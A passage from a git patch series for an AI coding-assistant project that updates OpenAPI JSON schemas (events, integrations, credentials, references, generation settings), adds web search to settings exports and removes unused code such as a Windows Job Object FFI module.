"properties"], + "additionalProperties": false + }, + "EventVcsBranchUpdated": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["vcs.branch.updated"] + }, + "properties": { + "type": "object", + "properties": { + "branch": { + "type": "string" + } + }, + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventWorkspaceReady": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["workspace.ready"] + }, + "properties": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + }, + "required": ["name"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventWorkspaceFailed": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["workspace.failed"] + }, + "properties": { + "type": "object", + "properties": { + "message": { + "type": "string" + } + }, + "required": ["message"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventWorkspaceStatus": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["workspace.status"] + }, + "properties": { + "type": "object", + "properties": { + "workspaceID": { + "type": "string", + "pattern": "^wrk" + }, + "status": { + "type": "string", + "enum": ["connected", "connecting", "disconnected", "error"] + } + }, + "required": ["workspaceID", "status"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventWorktreeReady": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["worktree.ready"] + }, + "properties": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "branch": { + "type": "string" + } + }, + "required": ["name"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, + "EventWorktreeFailed": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["worktree.failed"] + }, + "properties": { + "type": "object", + "properties": { + "message": { + "type": "string" + } + }, + "required": ["message"], + "additionalProperties": false + } + }, + "required": ["id", "type", "properties"], + "additionalProperties": false + }, "SyncEventSessionCreated": { "type": "object", "properties": { @@ -39589,6 +41541,12 @@ ] } }, + "outputPaths": { + "type": "array", + "items": { + "type": "string" + } + }, "result": {}, "provider": { "type": "object", @@ -39817,59 +41775,6 @@ "required": ["type", "id", "syncEvent"], "additionalProperties": false }, - "SyncEventSessionNextCompactionDelta": { - "type": "object", - "properties": { - "type": { - "type": "string", - "enum": ["sync"] - }, - "id": { - "type": "string", - "pattern": "^evt_" - }, - "syncEvent": { - "type": "object", - "properties": { - "type": { - "type": "string", - "enum": ["session.next.compaction.delta.1"] - }, - "id": { - "type": "string", - "pattern": "^evt_" - }, - "seq": { - "type": "number" - }, - "aggregateID": { - "type": "string" - }, - "data": { - "type": "object", - "properties": { - "timestamp": { - "type": "number" - }, - "sessionID": { - "type": "string", - "pattern": "^ses" - }, - "text": { - "type": "string" - } - }, - "required": ["timestamp", "sessionID", "text"], - "additionalProperties": false - } - }, - "required": ["type", "id", "seq", "aggregateID", "data"], - "additionalProperties": false - } - }, - "required": ["type", "id", "syncEvent"], - "additionalProperties": false - }, "SyncEventSessionNextCompactionEnded": { "type": "object", "properties": { @@ -39908,9 +41813,20 @@ "type": "string", "pattern": "^ses" }, + "messageID": { + "type": "string", + "pattern": "^msg_" + }, + "reason": { + "type": "string", + "enum": ["auto", "manual"] + }, "text": { "type": "string" }, + "recent": { + "type": "string" + }, "include": { "type": "string" } @@ -39926,6 +41842,41 @@ "required": ["type", "id", "syncEvent"], "additionalProperties": false }, + "ConfigV2ReferenceGit": { + "type": "object", + "properties": { + "repository": { + "type": "string" + }, + "branch": { + "type": "string" + }, + "description": { + "type": "string" + }, + "hidden": { + "type": "boolean" + } + }, + "required": ["repository"], + "additionalProperties": false + }, + "ConfigV2ReferenceLocal": { + "type": "object", + "properties": { + "path": { + "type": "string" + }, + "description": { + "type": "string" + }, + "hidden": { + "type": "boolean" + } + }, + "required": ["path"], + "additionalProperties": false + }, "PolicyEffect": { "type": "string", "enum": ["allow", "deny"] @@ -39950,19 +41901,19 @@ "ProjectDirectories": { "type": "array", "items": { - "type": "string" + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "strategy": { + "type": "string" + } + }, + "required": ["directory"], + "additionalProperties": false } }, - "ProjectCopyCopy": { - "type": "object", - "properties": { - "directory": { - "type": "string" - } - }, - "required": ["directory"], - "additionalProperties": false - }, "LocationInfo": { "type": "object", "properties": { @@ -40327,12 +42278,6 @@ "$ref": "#/components/schemas/PromptAgentAttachment" } }, - "references": { - "type": "array", - "items": { - "$ref": "#/components/schemas/PromptReferenceAttachment" - } - }, "type": { "type": "string", "enum": ["user"] @@ -40560,6 +42505,12 @@ ] } }, + "outputPaths": { + "type": "array", + "items": { + "type": "string" + } + }, "structured": { "type": "object" }, @@ -40806,7 +42757,7 @@ "summary": { "type": "string" }, - "include": { + "recent": { "type": "string" }, "id": { @@ -40827,7 +42778,7 @@ "additionalProperties": false } }, - "required": ["type", "reason", "summary", "id", "time"], + "required": ["type", "reason", "summary", "recent", "id", "time"], "additionalProperties": false }, "SessionMessage": { @@ -40892,13 +42843,13 @@ "properties": { "via": { "type": "string", - "enum": ["account"] + "enum": ["credential"] }, - "service": { + "credentialID": { "type": "string" } }, - "required": ["via", "service"], + "required": ["via", "credentialID"], "additionalProperties": false }, { @@ -40984,6 +42935,295 @@ "required": ["id", "name", "enabled", "env", "api", "request"], "additionalProperties": false }, + "IntegrationWhen": { + "type": "object", + "properties": { + "key": { + "type": "string" + }, + "op": { + "type": "string", + "enum": ["eq", "neq"] + }, + "value": { + "type": "string" + } + }, + "required": ["key", "op", "value"], + "additionalProperties": false + }, + "IntegrationTextPrompt": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": ["text"] + }, + "key": { + "type": "string" + }, + "message": { + "type": "string" + }, + "placeholder": { + "type": "string" + }, + "when": { + "$ref": "#/components/schemas/IntegrationWhen" + } + }, + "required": ["type", "key", "message"], + "additionalProperties": false + }, + "IntegrationSelectPrompt": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": ["select"] + }, + "key": { + "type": "string" + }, + "message": { + "type": "string" + }, + "options": { + "type": "array", + "items": { + "type": "object", + "properties": { + "label": { + "type": "string" + }, + "value": { + "type": "string" + }, + "hint": { + "type": "string" + } + }, + "required": ["label", "value"], + "additionalProperties": false + } + }, + "when": { + "$ref": "#/components/schemas/IntegrationWhen" + } + }, + "required": ["type", "key", "message", "options"], + "additionalProperties": false + }, + "IntegrationOAuthMethod": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string", + "enum": ["oauth"] + }, + "label": { + "type": "string" + }, + "prompts": { + "type": "array", + "items": { + "anyOf": [ + { + "$ref": "#/components/schemas/IntegrationTextPrompt" + }, + { + "$ref": "#/components/schemas/IntegrationSelectPrompt" + } + ] + } + } + }, + "required": ["id", "type", "label"], + "additionalProperties": false + }, + "IntegrationKeyMethod": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": ["key"] + }, + "label": { + "type": "string" + } + }, + "required": ["type"], + "additionalProperties": false + }, + "IntegrationEnvMethod": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": ["env"] + }, + "names": { + "type": "array", + "items": { + "type": "string" + } + } + }, + "required": ["type", "names"], + "additionalProperties": false + }, + "ConnectionCredentialInfo": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": ["credential"] + }, + "id": { + "type": "string" + }, + "label": { + "type": "string" + } + }, + "required": ["type", "id", "label"], + "additionalProperties": false + }, + "ConnectionEnvInfo": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": ["env"] + }, + "name": { + "type": "string" + } + }, + "required": ["type", "name"], + "additionalProperties": false + }, + "ConnectionInfo": { + "anyOf": [ + { + "$ref": "#/components/schemas/ConnectionCredentialInfo" + }, + { + "$ref": "#/components/schemas/ConnectionEnvInfo" + } + ] + }, + "IntegrationInfo": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "methods": { + "type": "array", + "items": { + "anyOf": [ + { + "$ref": "#/components/schemas/IntegrationOAuthMethod" + }, + { + "$ref": "#/components/schemas/IntegrationKeyMethod" + }, + { + "$ref": "#/components/schemas/IntegrationEnvMethod" + } + ] + } + }, + "connections": { + "type": "array", + "items": { + "$ref": "#/components/schemas/ConnectionInfo" + } + } + }, + "required": ["id", "name", "methods", "connections"], + "additionalProperties": false + }, + "IntegrationAttempt": { + "type": "object", + "properties": { + "attemptID": { + "type": "string" + }, + "url": { + "type": "string" + }, + "instructions": { + "type": "string" + }, + "mode": { + "type": "string", + "enum": ["auto", "code"] + }, + "time": { + "type": "object", + "properties": { + "created": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "expires": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + } + }, + "required": ["created", "expires"], + "additionalProperties": false + } + }, + "required": ["attemptID", "url", "instructions", "mode", "time"], + "additionalProperties": false + }, "PermissionV2Request": { "type": "object", "properties": { @@ -41039,53 +43279,12 @@ "required": ["id", "projectID", "action", "resource"], "additionalProperties": false }, - "FileSystemTextContent": { - "type": "object", - "properties": { - "type": { - "type": "string", - "enum": ["text"] - }, - "content": { - "type": "string" - }, - "mime": { - "type": "string" - } - }, - "required": ["type", "content", "mime"], - "additionalProperties": false - }, - "FileSystemBinaryContent": { - "type": "object", - "properties": { - "type": { - "type": "string", - "enum": ["binary"] - }, - "content": { - "type": "string" - }, - "encoding": { - "type": "string", - "enum": ["base64"] - }, - "mime": { - "type": "string" - } - }, - "required": ["type", "content", "encoding", "mime"], - "additionalProperties": false - }, "FileSystemEntry": { "type": "object", "properties": { "path": { "type": "string" }, - "uri": { - "type": "string" - }, "type": { "type": "string", "enum": ["file", "directory"] @@ -41094,7 +43293,7 @@ "type": "string" } }, - "required": ["path", "uri", "type", "mime"], + "required": ["path", "type", "mime"], "additionalProperties": false }, "CommandV2Info": { @@ -41196,6 +43395,88 @@ "required": ["answers"], "additionalProperties": false }, + "ReferenceLocalSource": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": ["local"] + }, + "path": { + "type": "string" + }, + "description": { + "type": "string" + }, + "hidden": { + "type": "boolean" + } + }, + "required": ["type", "path"], + "additionalProperties": false + }, + "ReferenceGitSource": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": ["git"] + }, + "repository": { + "type": "string" + }, + "branch": { + "type": "string" + }, + "description": { + "type": "string" + }, + "hidden": { + "type": "boolean" + } + }, + "required": ["type", "repository"], + "additionalProperties": false + }, + "ReferenceInfo": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "path": { + "type": "string" + }, + "description": { + "type": "string" + }, + "hidden": { + "type": "boolean" + }, + "source": { + "anyOf": [ + { + "$ref": "#/components/schemas/ReferenceLocalSource" + }, + { + "$ref": "#/components/schemas/ReferenceGitSource" + } + ] + } + }, + "required": ["name", "path", "source"], + "additionalProperties": false + }, + "ProjectCopyCopy": { + "type": "object", + "properties": { + "directory": { + "type": "string" + } + }, + "required": ["directory"], + "additionalProperties": false + }, "EventMemoryStatus1": { "type": "object", "properties": { @@ -42189,6 +44470,154 @@ "body": { "type": "object" }, + "generation": { + "type": "object", + "properties": { + "maxTokens": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "temperature": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "topP": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "topK": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "frequencyPenalty": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "presencePenalty": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "seed": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "stop": { + "type": "array", + "items": { + "type": "string" + } + } + }, + "additionalProperties": false + }, + "options": { + "type": "object" + }, "variant": { "type": "string" } @@ -42212,6 +44641,154 @@ }, "body": { "type": "object" + }, + "generation": { + "type": "object", + "properties": { + "maxTokens": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "temperature": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "topP": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "topK": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "frequencyPenalty": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "presencePenalty": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "seed": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + } + ] + }, + "stop": { + "type": "array", + "items": { + "type": "string" + } + } + }, + "additionalProperties": false + }, + "options": { + "type": "object" } }, "required": ["id", "headers", "body"], @@ -42431,7 +45008,7 @@ }, { "name": "projectCopy", - "description": "Project copy management routes." + "description": "Project copy naming routes." }, { "name": "pty", @@ -42542,64 +45119,72 @@ "description": "Kilo memory routes." }, { - "name": "kilo experimental HttpApi", + "name": "Kilo HttpApi", "description": "Experimental HttpApi surface for selected instance routes." }, { - "name": "kilo experimental HttpApi", + "name": "Kilo HttpApi", "description": "Experimental HttpApi surface for selected instance routes." }, { - "name": "v2", - "description": "Experimental v2 routes." + "name": "Kilo HttpApi", + "description": "Experimental HttpApi surface for selected instance routes." }, { - "name": "v2 messages", - "description": "Experimental v2 message routes." + "name": "sessions", + "description": "Experimental session routes." }, { - "name": "v2 models", - "description": "Experimental v2 model routes." + "name": "messages", + "description": "Experimental message routes." }, { - "name": "v2 providers", - "description": "Experimental v2 provider routes." + "name": "models", + "description": "Experimental model routes." }, { - "name": "v2 permissions", - "description": "Experimental v2 permission routes." + "name": "providers", + "description": "Experimental provider routes." }, { - "name": "v2 session permissions", - "description": "Experimental v2 session permission routes." + "name": "integrations", + "description": "Integration discovery and authentication routes." }, { - "name": "v2 saved permissions", - "description": "Experimental v2 saved permission routes." + "name": "Kilo HttpApi", + "description": "Experimental HttpApi surface for selected instance routes." }, { - "name": "v2 filesystem", - "description": "Experimental v2 location-scoped filesystem routes." + "name": "permissions", + "description": "Experimental permission routes." }, { - "name": "v2 commands", - "description": "Experimental v2 command routes." + "name": "filesystem", + "description": "Experimental location-scoped filesystem routes." }, { - "name": "v2 skills", - "description": "Experimental v2 skill routes." + "name": "commands", + "description": "Experimental command routes." }, { - "name": "v2 events", - "description": "Experimental v2 event stream route." + "name": "skills", + "description": "Experimental skill routes." }, { - "name": "v2 questions", - "description": "Experimental v2 question routes." + "name": "events", + "description": "Experimental event stream route." }, { - "name": "v2 session questions", - "description": "Experimental v2 session question routes." + "name": "session questions", + "description": "Experimental session question routes." + }, + { + "name": "reference", + "description": "Location-scoped project references." + }, + { + "name": "projectCopy", + "description": "Project copy management routes." }, { "name": "pty", From b71a9c0c234cb2fbb55712e4e995e261dde9fab5 Mon Sep 17 00:00:00 2001 From: Josh Lambert Date: Mon, 27 Jul 2026 22:10:56 -0400 Subject: [PATCH 007/100] fix(vscode): include web search in config exports --- .../webview-ui/src/components/settings/settings-io.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/packages/kilo-vscode/webview-ui/src/components/settings/settings-io.ts b/packages/kilo-vscode/webview-ui/src/components/settings/settings-io.ts index d4b1949d2a..be43b46284 100644 --- a/packages/kilo-vscode/webview-ui/src/components/settings/settings-io.ts +++ b/packages/kilo-vscode/webview-ui/src/components/settings/settings-io.ts @@ -34,6 +34,7 @@ export const KNOWN_KEYS: ReadonlyArray = [ "compaction", "commit_message", "tools", + "web_search", "auto_collapse_reasoning", "terminal_command_display", "code_edit_display", From b0a546049e7fcb212c8d1db344a48531ce65bed9 Mon Sep 17 00:00:00 2001 From: marius-kilocode Date: Tue, 28 Jul 2026 13:42:15 +0200 Subject: [PATCH 008/100] refactor(cli): remove provably unused kilocode code Delete code with zero references anywhere in the monorepo (including tests, docs, scripts, and dynamic import or string-based usage): - background-process/windows-job.ts: entire Windows Job Object FFI module left unreferenced after the background process runner refactor - session/prompt.ts: createShellDecoders helper, CODE_SWITCH_TEXT alias, and the now-unused StringDecoder import - text-stream.ts: openUtf8 wrapper - cli/cmd/tui/component/prompt/vim.ts: enterInsert helper - config/config.ts: KILO_CONFIG_FILES, AGENT_PATTERNS, COMMAND_PATTERNS - remote-attachments.ts: TEXT_PLAIN constant - plan-followup.ts: PLAN_PREFIX constant - server/httpapi/groups/background-process.ts: SessionParams schema - server/httpapi/groups/session-import.ts: SessionImportPayloads map - cloud/contracts.ts: RepositoryInput type alias --- .../background-process/windows-job.ts | 88 ------------------- .../cli/cmd/tui/component/prompt/vim.ts | 5 -- .../opencode/src/kilocode/cloud/contracts.ts | 1 - .../opencode/src/kilocode/config/config.ts | 14 --- .../opencode/src/kilocode/plan-followup.ts | 1 - .../src/kilocode/remote-attachments.ts | 1 - .../httpapi/groups/background-process.ts | 1 - .../server/httpapi/groups/session-import.ts | 7 -- .../opencode/src/kilocode/session/prompt.ts | 26 ------ packages/opencode/src/kilocode/text-stream.ts | 5 -- 10 files changed, 149 deletions(-) delete mode 100644 packages/opencode/src/kilocode/background-process/windows-job.ts diff --git a/packages/opencode/src/kilocode/background-process/windows-job.ts b/packages/opencode/src/kilocode/background-process/windows-job.ts deleted file mode 100644 index 85d05b38e6..0000000000 --- a/packages/opencode/src/kilocode/background-process/windows-job.ts +++ /dev/null @@ -1,88 +0,0 @@ -import { dlopen, ptr } from "bun:ffi" - -export namespace WindowsJob { - const LIMITS = 9 - const MEMBERS = 3 - const KILL_ON_CLOSE = 0x00002000 - const PROCESS_TERMINATE = 0x0001 - const PROCESS_SET_QUOTA = 0x0100 - const MORE_DATA = 234 - - function kernel() { - return dlopen("kernel32.dll", { - CreateJobObjectW: { args: ["ptr", "ptr"], returns: "u64" }, - SetInformationJobObject: { args: ["u64", "u32", "ptr", "u32"], returns: "i32" }, - OpenProcess: { args: ["u32", "i32", "u32"], returns: "u64" }, - AssignProcessToJobObject: { args: ["u64", "u64"], returns: "i32" }, - QueryInformationJobObject: { args: ["u64", "u32", "ptr", "u32", "ptr"], returns: "i32" }, - TerminateJobObject: { args: ["u64", "u32"], returns: "i32" }, - CloseHandle: { args: ["u64"], returns: "i32" }, - GetLastError: { args: [], returns: "u32" }, - }) - } - - export function create() { - const lib = (() => { - try { - return kernel() - } catch { - return undefined - } - })() - if (!lib) return - const handle = lib.symbols.CreateJobObjectW(null, null) - if (handle === 0n) { - const code = lib.symbols.GetLastError() - lib.close() - throw new Error(`CreateJobObjectW failed with Windows error ${code}`) - } - const limits = new Uint8Array(144) - new DataView(limits.buffer).setUint32(16, KILL_ON_CLOSE, true) - if (lib.symbols.SetInformationJobObject(handle, LIMITS, ptr(limits), limits.byteLength) === 0) { - const code = lib.symbols.GetLastError() - lib.symbols.CloseHandle(handle) - lib.close() - throw new Error(`SetInformationJobObject failed with Windows error ${code}`) - } - let closed = false - return { - assign(pid: number) { - const proc = lib.symbols.OpenProcess(PROCESS_TERMINATE | PROCESS_SET_QUOTA, 0, pid) - if (proc === 0n) throw new Error(`OpenProcess failed with Windows error ${lib.symbols.GetLastError()}`) - const assigned = lib.symbols.AssignProcessToJobObject(handle, proc) - const code = assigned === 0 ? lib.symbols.GetLastError() : 0 - lib.symbols.CloseHandle(proc) - if (assigned === 0) throw new Error(`AssignProcessToJobObject failed with Windows error ${code}`) - }, - members() { - let size = 4 * 1024 - while (true) { - const info = new Uint8Array(size) - const ok = lib.symbols.QueryInformationJobObject(handle, MEMBERS, ptr(info), info.byteLength, null) - const code = ok === 0 ? lib.symbols.GetLastError() : 0 - const view = new DataView(info.buffer) - const assigned = view.getUint32(0, true) - const count = view.getUint32(4, true) - if (ok !== 0 && count === assigned) { - return Array.from({ length: count }, (_, index) => Number(view.getBigUint64(8 + index * 8, true))) - } - if (ok === 0 && code !== MORE_DATA) { - throw new Error(`QueryInformationJobObject failed with Windows error ${code}`) - } - size = Math.max(size * 2, 8 + assigned * 8) - } - }, - terminate() { - if (lib.symbols.TerminateJobObject(handle, 1) === 0) { - throw new Error(`TerminateJobObject failed with Windows error ${lib.symbols.GetLastError()}`) - } - }, - close() { - if (closed) return - closed = true - lib.symbols.CloseHandle(handle) - lib.close() - }, - } - } -} diff --git a/packages/opencode/src/kilocode/cli/cmd/tui/component/prompt/vim.ts b/packages/opencode/src/kilocode/cli/cmd/tui/component/prompt/vim.ts index 2b91606c86..020d0be379 100644 --- a/packages/opencode/src/kilocode/cli/cmd/tui/component/prompt/vim.ts +++ b/packages/opencode/src/kilocode/cli/cmd/tui/component/prompt/vim.ts @@ -877,8 +877,3 @@ export function handleVisualKey(doc: VimDoc, state: VimState, input: VimKey): Vi state.countDigits = "" return { handled: true } } - -export function enterInsert(state: VimState) { - state.mode = "insert" - resetPending(state) -} diff --git a/packages/opencode/src/kilocode/cloud/contracts.ts b/packages/opencode/src/kilocode/cloud/contracts.ts index a4716e547e..a78b846b8c 100644 --- a/packages/opencode/src/kilocode/cloud/contracts.ts +++ b/packages/opencode/src/kilocode/cloud/contracts.ts @@ -163,7 +163,6 @@ export const GetMessageResultOutputSchema = z } }) -export type RepositoryInput = z.infer export type AgentStartRequest = z.infer export type AgentSendRequest = z.infer export type GetMessageResultInput = z.infer diff --git a/packages/opencode/src/kilocode/config/config.ts b/packages/opencode/src/kilocode/config/config.ts index a33445494b..608386d4fa 100644 --- a/packages/opencode/src/kilocode/config/config.ts +++ b/packages/opencode/src/kilocode/config/config.ts @@ -37,26 +37,12 @@ export namespace KilocodeConfig { // ── Config file constants ──────────────────────────────────────────── - /** Kilo-specific config file names (highest-to-lowest precedence within kilo). */ - export const KILO_CONFIG_FILES = ["kilo.jsonc", "kilo.json"] as const - /** All config file names in precedence order (kilo + opencode). */ export const ALL_CONFIG_FILES = ["kilo.jsonc", "kilo.json", "opencode.jsonc", "opencode.json"] as const /** Config directory suffixes in update-target preference order. */ export const KILO_DIR_SUFFIXES = [".kilo", ".kilocode"] as const - /** Path patterns for resolving kilo agent names from file paths. */ - export const AGENT_PATTERNS = ["/.kilo/agent/", "/.kilo/agents/", "/.kilocode/agent/", "/.kilocode/agents/"] as const - - /** Path patterns for resolving kilo command names from file paths. */ - export const COMMAND_PATTERNS = [ - "/.kilo/command/", - "/.kilo/commands/", - "/.kilocode/command/", - "/.kilocode/commands/", - ] as const - /** * Choose the project config file that Config.update should patch. * diff --git a/packages/opencode/src/kilocode/plan-followup.ts b/packages/opencode/src/kilocode/plan-followup.ts index 01de704a54..a0c726f94c 100644 --- a/packages/opencode/src/kilocode/plan-followup.ts +++ b/packages/opencode/src/kilocode/plan-followup.ts @@ -157,7 +157,6 @@ export async function generateHandover(input: { export namespace PlanFollowup { const log = Log.create({ service: "plan.followup" }) - export const PLAN_PREFIX = "Implement the following plan:" export const ANSWER_NEW_SESSION = "Start new session" export const ANSWER_CONTINUE = "Continue here" export const ANSWER_KEEP_REFINING = "Keep refining" diff --git a/packages/opencode/src/kilocode/remote-attachments.ts b/packages/opencode/src/kilocode/remote-attachments.ts index 9008065cc9..b329dbb47d 100644 --- a/packages/opencode/src/kilocode/remote-attachments.ts +++ b/packages/opencode/src/kilocode/remote-attachments.ts @@ -66,7 +66,6 @@ export namespace RemoteAttachments { sql: "text/plain", } export const BINARY_MIME = "application/octet-stream" - export const TEXT_PLAIN = "text/plain" // Hard cap on attachment bytes (5 MB + 1 byte so the helper aborts // strictly when the body exceeds the agreed ceiling). export const MAX_BYTES = 5 * 1024 * 1024 + 1 diff --git a/packages/opencode/src/kilocode/server/httpapi/groups/background-process.ts b/packages/opencode/src/kilocode/server/httpapi/groups/background-process.ts index e5b0dbc2dc..208cd1f021 100644 --- a/packages/opencode/src/kilocode/server/httpapi/groups/background-process.ts +++ b/packages/opencode/src/kilocode/server/httpapi/groups/background-process.ts @@ -22,7 +22,6 @@ export const BackgroundProcessPaths = { } as const export const Params = Schema.Struct({ processID: BackgroundProcess.ID }) -export const SessionParams = Schema.Struct({ sessionID: SessionID }) export const BackgroundProcessApi = HttpApi.make("background-process") .add( diff --git a/packages/opencode/src/kilocode/server/httpapi/groups/session-import.ts b/packages/opencode/src/kilocode/server/httpapi/groups/session-import.ts index 596ca4f57d..9aca9d4581 100644 --- a/packages/opencode/src/kilocode/server/httpapi/groups/session-import.ts +++ b/packages/opencode/src/kilocode/server/httpapi/groups/session-import.ts @@ -219,13 +219,6 @@ export const SessionImportPaths = { part: `${root}/part`, } as const -export const SessionImportPayloads = { - Project: ProjectSchema, - Session: SessionSchema, - Message: MessageSchema, - Part: PartSchema, -} as const - export const SessionImportApi = HttpApi.make("session-import") .add( HttpApiGroup.make("session-import") diff --git a/packages/opencode/src/kilocode/session/prompt.ts b/packages/opencode/src/kilocode/session/prompt.ts index a1fa29b806..ee05f45358 100644 --- a/packages/opencode/src/kilocode/session/prompt.ts +++ b/packages/opencode/src/kilocode/session/prompt.ts @@ -1,7 +1,6 @@ // kilocode_change - new file import path from "path" import fs from "fs/promises" -import { StringDecoder } from "string_decoder" import { Cause, Effect, Exit, Fiber, Scope } from "effect" import { SessionID, PartID } from "@/session/schema" import { MessageV2 } from "@/session/message-v2" @@ -377,25 +376,6 @@ export namespace KiloSessionPrompt { } } - /** - * Creates StringDecoder-based helpers for shell stdout/stderr that correctly - * handle multi-byte UTF-8 characters split across chunks. - */ - export function createShellDecoders() { - const stdout = new StringDecoder("utf8") - const stderr = new StringDecoder("utf8") - return { - /** Decode a chunk from the given stream. */ - write(stream: "stdout" | "stderr", chunk: Buffer) { - return stream === "stdout" ? stdout.write(chunk) : stderr.write(chunk) - }, - /** Flush any trailing buffered bytes from both decoders. */ - flush() { - return stdout.end() + stderr.end() - }, - } - } - /** * Ensures the plan file directory exists. Pre-checks with `Filesystem.isDir` * because `fs.mkdir(recursive: true)` still throws `EEXIST` on Windows @@ -455,12 +435,6 @@ export namespace KiloSessionPrompt { add(`\n${body}\n`) } - /** - * Returns the CODE_SWITCH prompt text (plan-to-code transition). - * Used when switching from plan agent to code agent. - */ - export const CODE_SWITCH_TEXT = CODE_SWITCH - /** * Determines the close reason for a session turn. * Checks for an explicit reason first (e.g. set on error during runLoop), diff --git a/packages/opencode/src/kilocode/text-stream.ts b/packages/opencode/src/kilocode/text-stream.ts index 82f2f6cd7c..bfaabd164e 100644 --- a/packages/opencode/src/kilocode/text-stream.ts +++ b/packages/opencode/src/kilocode/text-stream.ts @@ -62,11 +62,6 @@ export function abortable(stream: Readable, signal?: AbortSignal) { return signal ? addAbortSignal(signal, stream) : stream } -/** UTF-8 text stream backed by an already-open file. */ -export function openUtf8(open: () => Readable, signal?: AbortSignal): Readable { - return utf8(open, signal).stream -} - export function safeSlice(text: string, end: number) { const sliced = text.slice(0, end) const last = sliced.charCodeAt(sliced.length - 1) From dab2e79d6ecc24acfd8737a10dfdf8ef02765b30 Mon Sep 17 00:00:00 2001 From: Christiaan Arnoldus Date: Tue, 28 Jul 2026 14:44:40 +0200 Subject: [PATCH 009/100] fix(cli): exclude gpt-5.6 from ChatGPT subscriptions --- .changeset/exact-gpt-subscription.md | 5 +++++ packages/opencode/src/plugin/openai/codex.ts | 2 +- packages/opencode/test/plugin/codex.test.ts | 10 ++++++++++ 3 files changed, 16 insertions(+), 1 deletion(-) create mode 100644 .changeset/exact-gpt-subscription.md diff --git 